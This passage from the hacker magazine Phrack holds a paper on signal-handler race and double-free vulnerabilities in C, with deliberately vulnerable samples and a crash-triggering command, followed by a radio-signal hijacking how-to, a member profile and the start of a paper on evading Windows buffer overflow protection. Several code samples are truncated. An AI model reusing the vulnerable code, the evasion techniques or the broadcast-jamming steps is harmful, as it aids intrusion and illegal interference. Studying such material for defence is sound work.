appending log messages, and freeing file descriptors and/or sockets.  Signal
handlers are generally defined as ordinary program functions, and are then
defined as the default handler for a certain signal usually near to the
beginning of the program.

Consider the sample program below:

--- sigint.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
        printf("Ctrl-C caught!\n");

int main() {
        signal(SIGINT, sighndlr);


        /* should never reach here */
--- EOF ---

'sigint.c' specifies that the function 'sighndlr' should be given control of
execution flow when a SIGINT signal is received by the program.  The program
sleeps "forever", or until a SIGINT signal is received - in which case the
"Ctrl-C caught!" message is printed to the terminal - as seen below:

--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# ./test
[... program sleeps ...]
Ctrl-C caught!
[root@localhost shaun]#
--- EOF ---

Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C
combination at the keyboard, but a SIGINT signal can be generated by the
kill(1) utility.

However simple or complex the signal handler is, there are several potential
pitfalls which must be avoided during the development of the handler. Although 
a signal handler may look "safe", problems may still arise, but may be 
less-obvious to the unsuspecting eye. There are two main classes of problems
when dealing with signal-handler development - non-atomic process
modifications, and non-reentrant code, both of which are potentially critical
to system security.

--[ 3 - Non-atomic Modifications

Since signals can be delivered at almost any moment, and privileges often need 
to be maintained (i.e root privileges in a SUID root application) for obvious 
reasons (i.e for access to raw sockets, graphical resources, etc), signal 
handling routines need to be written with extra care. If they are not, and 
special privileges are held by the process at the particular time of signal 
delivery, things could begin to go wrong very quickly. What is meant by 
'non-atomic' is that the change in the program isn't permanant - it will
just be in place temporarily.  To illustrate this, we will discuss a sample
vulnerable program.

Consider the following sample program:

--- atomicvuln.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
        printf("Ctrl-C caught!\n");
        printf("UID: %d\n", getuid());
        /* other cleanup code... */

int showuid() {
        printf("UID: %d\n", getuid());

int main() {
        int origuid = getuid();
        signal(SIGINT, sighndlr);



--- EOF ---

The above program should immediately spark up any security concious
programmer's paranoia, but the insecurity isn't immediately obvious
to everyone.  As we can see from above, a signal handler is declared for
'SIGINT', and the program gives itself root privileges (so to speak). After
a delay of around five seconds, the privileges are revoked, and the
program is exited with success.  However, if a SIGINT signal is received,
execution is directed to the SIGINT handler, 'sighdlr()'.

Let's look at some sample outputs:

--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# chmod +s test
[root@localhost shaun]# exit
[shaun@localhost shaun]$ ./test
[... program sleeps 5 seconds ...]
UID: 502
[shaun@localhost shaun]$ ./test
[... CTRL-C is typed ...]
Ctrl-C caught!
UID: 0
UID: 502
[shaun@localhost shaun]$
--- EOF ---

If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output 
should make things obvious; since the signal handling routine, 'sighdlr()', was 
called when root privileges were still possessed, the friendly printf() 
statements kindly tell us that our privileges are root (assuming the binary is 
SUID root).  And just to prove our theory, if we simply allow the program to 
sleep for 5 seconds without sending an interrupt, the printf() statement kindly 
tells us that our UID is 502 - my actual UID - as seen above.

With this, it is easy to understand where the flaw lies; if program execution 
can be interrupted between the time when superuser privileges are given,
and the time when superuser privileges are revoked, the signal handling
code *will* be ran with root privileges.  Just imagine - if the signal
handling routine included potentially sensitive code, compromisation of
root privileges could occur.

Although the sample program isn't an example of privilege escalation, it at 
least demonstrates how non-atomic modifications can present security issues
when signal handling is involved.  And do not assume that code similar to the
sample program above isn't found in popular security critical applications in 
wide-spread use - it is.  An example of vulnerable code similar to that of
above which is an application in wide-spread use, see [1] in the bibliography.

Non-reentrant Code

Although it may not be obvious (and it's not), some glibc functions just
weren't designed to be reentered due to receipt of a signal, thus causing
potential problems for signal handlers which use them.  An example of such a
function is the 'free()' function.  According to 'free()'s man page, free()

"frees the memory space pointed to by ptr, which must have  been
 returned by a previous call to malloc(), calloc() or realloc().  Other-
 wise, or  if  free(ptr)  has  already  been  called before,  undefined
 behaviour occurs.  If ptr is NULL, no operation is performed."

As the man page snippet claims, free() can only be used to release memory which
was allocated using 'malloc()', else "undefined behavior" occurs.  More 
specifically, or in usual cases, the heap is corrupted, if free() is called on
a memory area which has already been free()d.  Because of this implementation 
design, reentrant signal routines which use 'free()' can be attacked.

Consider the below sample vulnerable program:

--- reentry.c ---
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *data1, *data2;
char *logdata;

void sighdlr() {
        printf("Entered sighdlr()...\n");
        syslog(LOG_NOTICE,"%s\n", logdata);

int main(int argc, char *argv[]) {
          logdata = argv[1];
          data1 = strdup(argv[2]);
          data2 = malloc(340);
          signal(SIGHUP, sighdlr);
          signal(SIGTERM, sighdlr);

          /* should never reach here */

--- EOF ---

The above program defines a signal handler which frees allocated heap memory, 
and sleeps for around 10 seconds.  However, once the signal handler has been 
entered, signals are not blocked, and thus can still be freely delivered.  As
we learnt above, a duplicate call of free() on an already free()d memory area
will result in "undefined behavior" - possibly corruption of the heap memory.
As we can see, user-defined data is taken, and syslog() is also called fromo
the sig handler function - but how does syslog() work? 'syslog()' creates a
memory buffer stream, using two malloc() invokations - the first one allocates
a 'stream description structure', whilst the other creates a buffer suitable
for the actual syslog message data. This basis is essentially used to maintain
a tempory copy of the syslog message.

But why can this cause problems in context of co-usage of non-reentrant 
routines?  To find the answer, let's experiment a little, by attempting to 
exploit the above program, which happens to be vulnerable.

--- output ---
[shaun@localhost shaun]$ ./test `perl -e 'print
"a"x100'` `perl -e 'print 
"b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ;
killall -TERM test
[1] 2877
Entered sighdlr()...
Entered sighdlr()...
[1]+  Segmentation fault      (core dumped) ./test
`perl -e 'print "a"x100'` 
`perl -e 'print "b"x410'`
[shaun@localhost shaun]$ gdb -c core.2877
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show
warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `./test 
Program terminated with signal 11, Segmentation fault.
#0  0x4008e9bb in ?? ()
(gdb) info reg
eax            0x61616161       1633771873
ecx            0x40138680       1075021440
edx            0x6965fa38       1768290872
ebx            0x4013c340       1075036992
esp            0xbfffeccc       0xbfffeccc
ebp            0xbfffed0c       0xbfffed0c
esi            0x80498d8        134519000
edi            0x61616160       1633771872
eip            0x4008e9bb       0x4008e9bb
eflags         0x10206  66054
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
fctrl          0x0      0
fstat          0x0      0
ftag           0x0      0
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---
fop            0x0      0
xmm0           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm1           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm2           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm3           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm4           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm5           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm6           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm7           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
mxcsr          0x0      0
orig_eax       0xffffffff       -1
(gdb) quit
[shaun@localhost shaun]$
--- EOF ---

Interesting.  As we can see above, our large string of 'a's has found its way
into several program registers on stack - EAX and EDI. From this, we can
assume we are witnessing the "undefined behavior" we discussed earlier, when
the signal handler is reentered.

When the sample vulnerable program receives the second signal (SIGTERM), since
signals are not being ignored, the signal handler is reentered to handle this
second signal, causing something to go very wrong.
But why is this happening?

Since the second memory region (*data2) was free()d during the first entry of
the signal handler, syslog() re-uses this released memory for its own
purposes - storing its syslog message, because as the short syslog()
explanation above stated, two malloc() calls are present in most syslog()
implementations, and thus it re-uses the newly free()d memory - *data2. 
After the usage of the memory once held as data2 by syslog(), a second
'free()' call is made on the memory region, because of reentry of the signal
handler function.  As the free(3) man page stated, undefined behavior *will*
occur if the memory area was already free()d, and we happen to know that this
was the case.  So when 'free()' was called again on *data2, free() landed
somewhere in the area containing the 'a's (hence 0x61 in hex), because
syslog() had re-used the freed area to store the syslog message, temporarily.

As the GDB output above illustrates, as long as user-input is used by
'syslog()' (and it is in this case), we have some control over the program
registers, when this "undefined behavior" (corruption of heap in most
cases) occurs.  Because of this ability, exploitation is most likely a
possibility - it is left as an exercise to the reader to play with this sample
vulnerable program a little more, and determine if the vulnerability is

For the interested reader, 'free()' is not the only non-reentrant glibc 
function.  In general, it can be assumed that all glibc functions which are NOT
included within the following list are non-reentrant, and thus are not safe to
be used in signal handlers.

           _exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
           cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
           close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
           fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
           geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
           getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
           mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
           read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
           setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
           sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
           sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
           sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
           tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
           tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
           utime(3), wait(2), waitpid(2), write(2)."


Secure Signal Handling

In general, signal handling vulnerabilities can be prevented by


1) Using only reentrant glibc functions within signal handlers -

This safe-guards against the possibility of "undefined behavior" or otherwise
as presented in the above example.  However, this isn't *always* feasible, 
especially when a programmers needs to accomplish tasks such as freeing

Other counter-measures, in this case, can protect against this. See below.

2) ignoring signals during signal handling routines -

As the obvious suggests, this programming practice will indefinately prevent
handling of signals during the execution of signal handling routines, thus
preventing signal handler reentry.

Consider the following signal handler template:

--- sighdlr.c ---
void sighdlr() {
        signal(SIGINT, SIG_IGN);
        signal(SIGABRT, SIG_IGN);
        signal(SIGHUP, SIG_IGN);
        /* ...ignore other signals ... */

        /* cleanup code here */

--- EOF ---

As we can see above, signals are blocked before doing anything else in the
signal handling routine.  This guarantees against signal handler reentry (or
almost does).

3) Ignoring signals whilst non-atomic process modifications are in place -

This involves blocking signals, in a similar way to the above code snippet,
during the execution of code with non-atomic modifications in place, such as
code execution with superuser privileges.

Consider the following code snippet:

--- nonatomicblock.c ---
/* code exec with non-atomic process modifications
starts here... */
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* block other signals if desired... */

/* sensitive code here */

/* sensitive code ends here */

signal(SIGINT, SIG_DFL);
signal(SIGHUP, SIG_DFL);

/* ...code here... */
--- EOF ---

Before executing privileged code, signals are blocked. After execution of the
privileged code, privileges are dropped, and the signal action is set back to
the default action.

There are probably more ways of preventing signal vulnerabilities, but the
three above should be enough to implement semi-safe signal handlers.


I hope this paper has at least touched upon possible problems encountered when
dealing with signals in C applications.  If nothing else can be taken away from
this paper, my aim is to have outlined that secure programming practices should
always be applied when implementing signal handlers. 
Full stop.  Remember this.

If I have missed something out, given inaccurate information, or otherwise,
please feel free to drop me a line at the email address at the top of the
paper, providing your comments are nicely phrased.

Recommended reading is presented in the Bibliography below.


Recommended reading material is:

"Delivering Signals for Fun and Profit" -,
Michal Zalewski.  Michal's

paper was a useful resource when writing this paper, and many ideas were gained
from this paper.  Thanks Michal.

"Introduction To Unix Signals Programming" -,LUGPs.

"Procmail insecure signal handling vulnerability" -

"Traceroute signal handling vulnerability" -

"signal(2) man page" -

"signal(7) man page" -



Greets to:

Friends at HDC (or former HDC members),,
#hackcanada, all @ GSO,
rider (happy be-lated birthday!).

All the other great people that I have met online.

Thanks guys.

Thank you for your time.


|=------------------=[ Pirating A Radio Station ]=----------------------=|
                       by j kuinga" <>

At many Radio Stations to cut costs they now do what is called "central 
casting."  This is where many feeds are produced from one building and 
handled by a group of engineers.

Why is this important?  You could, disrupt the broadcast from the Central 
Site, to the tower site, and create your own programming, without the 
hassles of buying a transmitter,  getting the FCC licensing, and that type 
of thing.  We're showing you two different ways to have some fun--by 
interrupting remote broadcasts, and by overtaking the radio station.

Radio Stations typically have Martis which are mini-transmitters, and 
Marti Repeaters, typically in the 425-455 MHz Range.  Some Ham Transmitters 
will work in this range, and if not, check your local radio surplus store.

Martis are typically used to rebroadcast High School Football and 
basketball games, as well as commercial "live events" and its something as 
simple as over-powering the signal, in order to get your message through.  
Be forewarned, there typically is a live person on the other end of that 
transmitterXtheyre probably not paying attention, because theyre 
getting paid $5.50/hourXbut, they have they ability to turn you off.

How to find the frequency?  Well, you could always SE the engineer at the 
station and ask, however, most of them are grumpy old radio buffs, so you 
might not get anywhere.  I suggest a good copy of Police Call, which has 
a LOT of frequencies in there for things like radio stations.

I use a home-made setup for finding particular frequencies out.  Having some 
essential tools like a good, directional antenna, frequency counter, and 
very accurate transmitter, along with breadboard and essential components, 
typically are common in finding what you need to know.  I also drive a Big 
White Van, complete with Mast and Bucket, so I can optimally 'place' the 
antenna at the right height and direction, that I obtained at a school 
auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a 
nice generator)

Most Radio Stations doing this have what they call a STL, or Studio to 
Transmitter Link.  This is typically in the 800 or 900 Mhz range, and the 
same, general ideas apply.  You find the general direction in which the 
antenna is pointed, then you overpower the signal.  Since you 
(idealistically) would be within a few miles of the transmitter, not 30 or 
50 miles like the Central-Casting spot, you would overpower the transmitter, 
and start your own pirate radio station.  Most stations however, have an 
Air monitor, and can turn the remote transmitter off by pressing a 
button on their STL.  However, if youre closer to it, youve got control 
until the station engineer comes down to manually pull the plug on your 

If you see black vans with antennas and they look like they're doing sweeps, 
chances are, they're either a) with the audit crew of the local cable 
company, or b) looking for your ass.

|=[ EOF ]=---------------------------------------------------------------=|

-------------------------------------------------------------------------------- cat .bash_history

                            ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10

|=---------------=[ P R O P H I L E   O N   S C U T ]=-------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|

|=---=[ Specification

                  Handle: scut
                     AKA: "The Tower"
           Handle origin: Result of spelling "SCUD rocket" as a 12 year
                          old when making up a handle
               catch him: by email
        Age of your body: 23
             Produced in: West Germany
         Height & Weight: 198cm, 85kg
               Computers: COTS, anything goes ;)
               Member of: TESO
                Projects: exploitation methods, low level architecture
                          wrangling, code analysis and transformation

|=---=[ Favorite things

          Women: intelligent, humorous, self-confident and caring
           Cars: BMW = fast, functional and reliable
          Foods: Chinese, German cake
        Alcohol: Mixed drinks (Tequila + *), white wine
          Music: U2, 60-70'ies, ambient, new age
         Movies: Leon, Matrix
Books & Authors: I dislike fiction, various scientific books
           Urls: ;-),
         I like: digging some problem to the deepest level
      I dislike: unjustified authorities, arrogance, ignorance

|=---=[ Life in 3 sentences

Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)

|=---=[ Passions | What makes you tick

To create. In anything I do, I enjoy creating something and deepen my
understanding of it. Somehow, however, I lose interest as soon as I think I
could understand something completely, but that it would take too much effort.

|=---=[ Which research have you done or which one gave you the most fun?

Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had
some minor impact aswell. Also I wrote a paper about format string
vulnerabilities. This was fun to write and back at that time everybody was
very curious about this newly discovered class of security vulnerabilities.
The basic work was already done and it was fun just to make a few steps
further. While its always the case that you have to base your work on someone
else's, sometimes you get the feeling of doing something truly new or
creative. Then, its always fun.

|=---=[ Memorable Experiences

CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots
of fun together. Meeting interesting people, such as some of the ADM folks.

All the CCC congresses and all the fun that comes with them: friends, beer,
and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.

|=---=[ Quotes

"The purpose of computing is insight, not numbers." - Richard W. Hamming

|=---=[ Open Interview - General boring questions

Q: When did you start to play with computers?
A: Due to my father working in the computing field I was lucky to first tap
some keys at the age of six, around 1985. First hooked up through games I
quickly liked the idea to control the machine myself and was fascinated to
write my first BASIC program on the C64 when I was nine. This fascination has
not decreased ever since, though the languages and computers changed a lot ;-)

Q: When did you had your first contact to the 'scene'?
A: As many of todays people in the hacking scene, the natural path leads
through the warez and cracking realms. In 1995 I was browsing some BBS's and
thats how I was drawn into that scene. Then, in the following two years, I
moved away from Windows/Warez to more Linux/Programming, and more or less by
end of 1997 I was completely into this thing.

Q: When did you for your first time connect to the internet?
A: Through the German Telekom BTX internet gateway, that must have been 1995.

Q: What other hobbies do you have?
A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other
sports, having fun with friends. Learning Chinese.

Q: ...and how long did it take until you joined irc? Do you remember
   the first channel you joined?
A: in 1996 on IrcNet.

Q: What's your architecture / OS of choice?
A: IA32 with Debian/sid. Its constantly updated, the packagers know their
stuff and its a system by and for developers. I love it.

|=---=[ Open Interview - More interesting questions

Q: Who founded TESO and what's the meaning of the name?
A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian

Q: What's TESO up to these days?
A: I would like to describe us as not active anymore. There are a couple of
reasons for this. One is the natural shift of interest of members, such as
when growing up and having a daytime job. But more importantly, the most
previously most active members do not release their work under the TESO label
anymore. Sometime ago, we also had internal trust problems where we did not
know who leaked our internal stuff. This lead to general distrust and some
developing stopped or slowed due to that. Sad thing.

Q: You have helped phrack in many occasions. What do you think about Phrack?
   What suggestions do you have for phrack?
A: I think phrack is the single best starting point for anyone seriously
interested in learning how to become a real low level hacker. One could start
ten issues in the past and gradually sharpen the skills to almost the today's
cutting edge. The style, quality and focus of the articles is very diverse and
always makes for an interesting read.

   In the past year, Phrack started to work closer with the authors of the
articles to produce higher quality articles for the readers. This is a great
idea! Maybe further steps into this direction could follow.

   For the article topics, I personally would like to see more articles on
upcoming technologies to exploit, such as SOAP, web services, .NET, etc.

Q: What are you up to these days? How has the scene-life influenced your
   lifestyle, goals and personality?
A: Nowadays, I am more of a computer science student than a scene member. The
scene did not change me so much. Its a great place to meet intelligent people
and to discuss new ideas.

Q: You have been in the scene for quite a while. If you look back, what
   was the worst thing that happened to the scene? What was the best 
   that happened?
A: The worst was a bad long term development with an even worse backlash: the
commercialization of the network security field. When the Internet really
boomed, everybody was out to make a buck from selling security related
products and services. A lot of former hackers "sold out". While its their
personal choice to work in the security business and such business is not
necessarily evil, for the scene it wasn't all that great.
   The worse result has been the gap between once united hackers. Some people
drew a more or less arbitrary line of black-/whitehatism and started dividing
the scene even further. The result you can see nowadays is that there are some
separated groups in the scene piling up non public knowledge, while the "entry
level skill" required to really be in the scene is increased and less people
get into the scene. Those knowledgeable groups still have "whitehats" among
their members, but nobody cares, because for the group it just works well and
everybody within wins. On a wider scale, everybody loses and the cooperation
and development of really creative new stuff is slowed and the scene shrinks.
   Fresh talented people wanting to get into the scene have no choice but to
found their own teams.

The best thing for the scene were and still are the hacker events organized
all around the world. They are a great contact point of the hackers and to the
outside world.

Q: If you could turn the clock backwards, what would you do different
   in your young life ?
A: Be more relaxed about people posting my stuff although I did not wanted it
to be public. It just caused trouble for everybody and in the end its more
a fault on my side than on theirs.

=---=[ One word comments

[give a 1-word comment to each of the words on the left]

IRC                                    : timeconsumptive
TESO                                   : dreamteam
ADM                                    : pioneers
Hacker meetings                        : melting-pot
Whitehats                              : do not always wear white hats
Blackhats                              : do not always wear black hats

|=---=[ Please tell our audience a worst case scenario into what the scene
        might turn into.

The extension to the bad development that already took place and I described
in an earlier answer would include more company driven actions and sell outs.
Possibly the worst long term thing for the scene would be a decrease in the
scene's lose "infrastructure", such as magazines and conferences. This could
be the result of stricter laws against hackers and already takes place in some
countries. Imagine if the typical hacker conferences would be outlawed or
strictly observed. Imagine when magazines such as Phrack would be shutdown.
Imagine if groups like THC and websites like Packetstorm would be shutdown.
That would be a bad development.

|=---=[ And if everything works out fine? What's the best case scenario
        you can imagine?

The scene would be driven by discussions, new inventions, creative hacking
stunts and a large number social events. Hackers would stick closer together,
yet share more of their work, yet allowing newcomers to learn. People would
not crawl for fame on mailing lists but would honestly respect each other.

  To archieve this ideal, things that unite all hackers have to be valued
more. All hackers share the enthusiasm for technology and creativity.
Creativity is seldomly the result of sitting alone in a locked down room, but
quite the opposite the result of many diverse ideas and discussions among
intelligent people. If the environment hackers interact with each others in
permits for exchange of ideas without getting ripped off by companies or other
hackers, this would result in a great scene.

|=---=[ Any suggestions/comments/flames to the scene and/or specific people?

I think some young talents are really doing a great job. Keep going!

|=---=[ Shoutouts & Greetings

hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up
  with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing
lorian, for being a smart guy.
acpizer, for his wisdom and stubborness.
The folks at THC and ADM for doing really cool stuff.

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10

|=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=|
|=--------------=[ anonymous < ]=-------------=|
|=--------------=[ Jamie Butler <> ]=-------------=|
|=--------------=[ anonymous < ]=-------------=|

--[ Contents

  1 - Introduction

  2 - Stack Backtracing

  3 - Evading Kernel Hooks

    3.1 - Kernel Stack Backtracing

    3.2 - Faking Stack Frames

  4 - Evading Userland Hooks

    4.1 - Implementation Problems - Incomplete API Hooking

          4.1.1 - Not Hooking all API Versions
          4.1.2 - Not Hooking Deeply Enough
          4.1.3 - Not Hooking Thoroughly Enough

    4.2 - Fun With Trampolines

          4.2.1 Patch Table Jumping
          4.2.2 Hook Hopping

    4.3 - Repatching Win32 APIs

    4.4 - Attacking Userland Components

          4.4.1 IAT Patching
          4.4.2 Data Section Patching

    4.5 - Calling Syscalls Directly

    4.6 - Faking Stack Frames

  5 - Conclusions

--[ 1 - Introduction

Recently, a number of commercial security systems started to offer
protection against buffer overflows. This paper analyzes the protection
claims and describes several techniques to bypass the buffer overflow

Existing commercial systems implement a number of techniques to protect
against buffer overflows. Currently, stack backtracing is the most popular
one. It is also the easiest to implement and the easiest to bypass.

Several commercial products such as Entercept (now NAI Entercept) and
Okena (now Cisco Security Agent) implement this technique.

--[ 2 - Stack Backtracing

Most of the existing commercial security systems do not actually prevent
buffer overflows but rather try to attempt to detect the execution of

The most common technology used to detect shellcode is code page
permission checking which involves checking whether code is executing on
a writable page of memory. This is necessary since architectures such as
x86 do not support the non-executable memory bit.

Some systems also perform additional checking to see whether code's page
of memory belongs to a memory mapped file section and not to an anonymous
memory section.


                page = get_page_from_addr( code_addr );
                if (page->permissions & WRITABLE)
                        return BUFFER_OVERFLOW;

                ret = page_originates_from_file( page );
                if (ret != TRUE)
                        return BUFFER_OVERFLOW;

               Pseudo code for code page permission checking

Buffer overflow protection technologies (BOPT) that rely on stack
backtracing don't actually create non-executable heap and stack segments.
Instead they hook the OS and check for shellcode execution during the
hooked API calls.

Most operating systems can be hooked in userland or in kernel.

Next section deals with evading kernel hooks, while section 4 deals with
bypassing userland hooks.

--[ 3 - Evading Kernel Hooks

When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must
be able to detect where a userland API call originated. Due to
the heavy use of kernel32.dll and ntdll.dll libraries, an API call is
usually several stack frames away from the actual syscall trap call.
For this reason, some intrusion preventions systems rely on using stack
backtracing to locate the original caller of a system call.

----[ 3.1 - Kernel Stack Backtracing

While stack backtracing can occur from either userland or kernel, it is
far more important for the kernel components of a BOPT than its userland
components. The existing commercial BOPT's kernel components rely entirely
on stack backtracing to detect shellcode execution. Therefore, evading a
kernel hook is simply a matter of defeating the stack backtracing

Stack backtracing involves traversing stack frames and verifying that the
return addresses pass the buffer overflow detection tests described above.
Frequently, there is also an additional "return into libc" check, which
involves checking that a return address points to an instruction
immediately following a call or a jump. The basic operation of stack
backtracing code, as used by a BOPT, is presented below.


                while (is_valid_frame_pointer( ebp )) {
                        ret_addr = get_ret_addr( ebp );

                        if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
                                return BUFFER_OVERFLOW;

                        if (does_not_follow_call_or_jmp_opcode(ret_addr))
                                return BUFFER_OVERFLOW;

                        ebp = get_next_frame( ebp );

                    Pseudo code for BOPT stack backtracing

When discussing how to evade stack backtracing, it is important to
understand how stack backtracing works on an x86 architecture. A typical
stack frame looks as follows during a function call:

	:                         :
        | function B parameter #2 |
        | function B parameter #1 |
        |    return EIP address   |
        |        saved EBP        |
        | function A parameter #2 |
        | function A parameter #1 |
        |    return EIP address   |
        |        saved EBP        |
	:                         :

The EBP register points to the next stack frame. Without the EBP register
it is very hard, if not impossible, to correctly identify and trace
through all the stack frames.

Modern compilers often omit the use of EBP as a frame pointer and use it
as a general purpose register instead. With an EBP optimization, a stack
frame looks as follows during a function call:

        | function parameter #2 |
        | function parameter #1 |
        |   return EIP address  |

Notice that the EBP register is not present on the stack. Without an EBP
register it is not possible for the buffer overflow detection technologies
to accurately perform stack backtracing. This makes their task incredibly
hard as a simple return into libc style attack will bypass the protection.
Simply originating an API call one layer higher than the BOPT hook defeats
the detection technique.

----[ 3.2 - Faking Stack Frames

Since the stack is under complete control of the shellcode, it is possible
to completely alter its contents prior to an API call. Specially crafted
stack frames can be used to bypass the buffer overflow detectors.

As was explained previously, the buffer overflow detector is looking for
three key indicators of legitimate code: read-only page permissions,
memory mapped file section and a return address pointing to an instruction
immediately following a call or jmp. Since function pointers change
calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).

Evading a BOPT is therefore simply a matter of creating a "final" stack
frame which has a valid return address. This valid return address must
point to an instruction residing in a read-only memory mapped file section
and immediately following a call or jmp. Provided that the dummy return
address is reasonably close to a second return address, the shellcode can
easily regain control.

The ideal instruction sequence to point the dummy return address to is:


                        jmp    [eax] ; or call [eax], or another register
        dummy_return:   ...          ; some number of nops or easily
                                     ; reversed instructions, e.g. inc eax
                        ret          ; any return will do, e.g. ret 8


Bypassing kernel BOPT components is easy because they must rely on user
controlled data (the stack) to determine the validity of an API call. By
correctly manipulating the stack, it is possible to prematurely terminate
the stack return address analysis.

This stack backtracing evasion technique is also effective against
userland hooks (see section 4.6).

--[ 4 - Evading Userland Hooks

Given the presence of the correct instruction sequence in a valid region
of memory, it is possible to trivially bypass kernel buffer overflow
protection techniques. Similar techniques can be used to bypass userland
BOPT components. In addition, since the shellcode executes with the same
permissions as the userland hooks, a number of other techniques can be
used to evade the detection.

----[ 4.1 - Implementation Problems - Incomplete API Hooking

There are many problems with the userland based buffer overflow protection
technologies. For example, they require the buffer overflow protection
code to be in the code path of all attacker's calls or the shellcode
execution will go undetected.

Trying to determine what an attacker will do with his or her shellcode
a priori is an extremely hard problem, if not an impossible one. Getting
on the right path is not easy. Some of the obstacles in the way include:

     a. Not accounting for both UNICODE and ANSI versions of a Win32 API

     b. Not following the chaining nature of API calls. For example,
        many functions in kernel32.dll are nothing more than wrappers for
        other functions within kernel32.dll or ntdll.dll.

     c. The constantly changing nature of the Microsoft Windows API.

--------[ 4.1.1 - Not Hooking All API Versions

A commonly encountered mistake with userland API hooking
implementations is incomplete code path coverage. In order for an API
interception based products to be effective, all APIs utilized by
attackers must be hooked. This requires the buffer overflow protection
technology to hook somewhere along the code path an attacker _has_ to
take. However, as will be shown, once an attacker has begun executing
code, it becomes very difficult for third party systems to cover all
code paths. Indeed, no tested commercial buffer overflow detector actually
provided an effective code path coverage. 

Many Windows API functions have two versions: ANSI and UNICODE. The ANSI
function names usually end in A, and UNICODE functions end in W because
of their wide character nature. The ANSI functions are often nothing
more than wrappers that call the UNICODE version of the API. For example,
CreateFileA takes the ANSI file name that was passed as a parameter and
turns it into an UNICODE string. It then calls CreateFileW. Unless a
vendor hooks both the UNICODE and ANSI version of the API function, an
attacker can bypass the protection mechanism by simply calling the other
version of the function.

For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt
to intercept LoadLibraryW. If a protection mechanism was only going to
hook one version of a function, it would make more sense to hook the
UNICODE version. For this particular function, Okena/CSA does a better
job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and
LoadLibraryExW. Unfortunately for the third party buffer overflow
detectors, simply hooking more functions in kernel32.dll is not enough. 

--------[ 4.1.2 - Not Hooking Deeply Enough

In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many
buffer overflow detection products do not hook functions within ntdll.dll.
This simple error is similar to not hooking both the UNICODE and ANSI
versions of a function. An attacker can simply call the ntdll.dll directly
and completely bypass all the kernel32.dll "checkpoints" established by a
buffer overflow detector.

For example, NAI Entercept tries to detect shellcode calling
GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten
to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the
same goal, and at the same time never pass through the NAI Entercept hook.

Similarly, shellcode can completely bypass userland hooks altogether and
make system calls directly (see section 4.5).

--------[ 4.1.3 - Not Hooking Thoroughly Enough

The interactions between the various different Win32 API functions is
byzantine, complex and difficult to understand. A vendor must make only
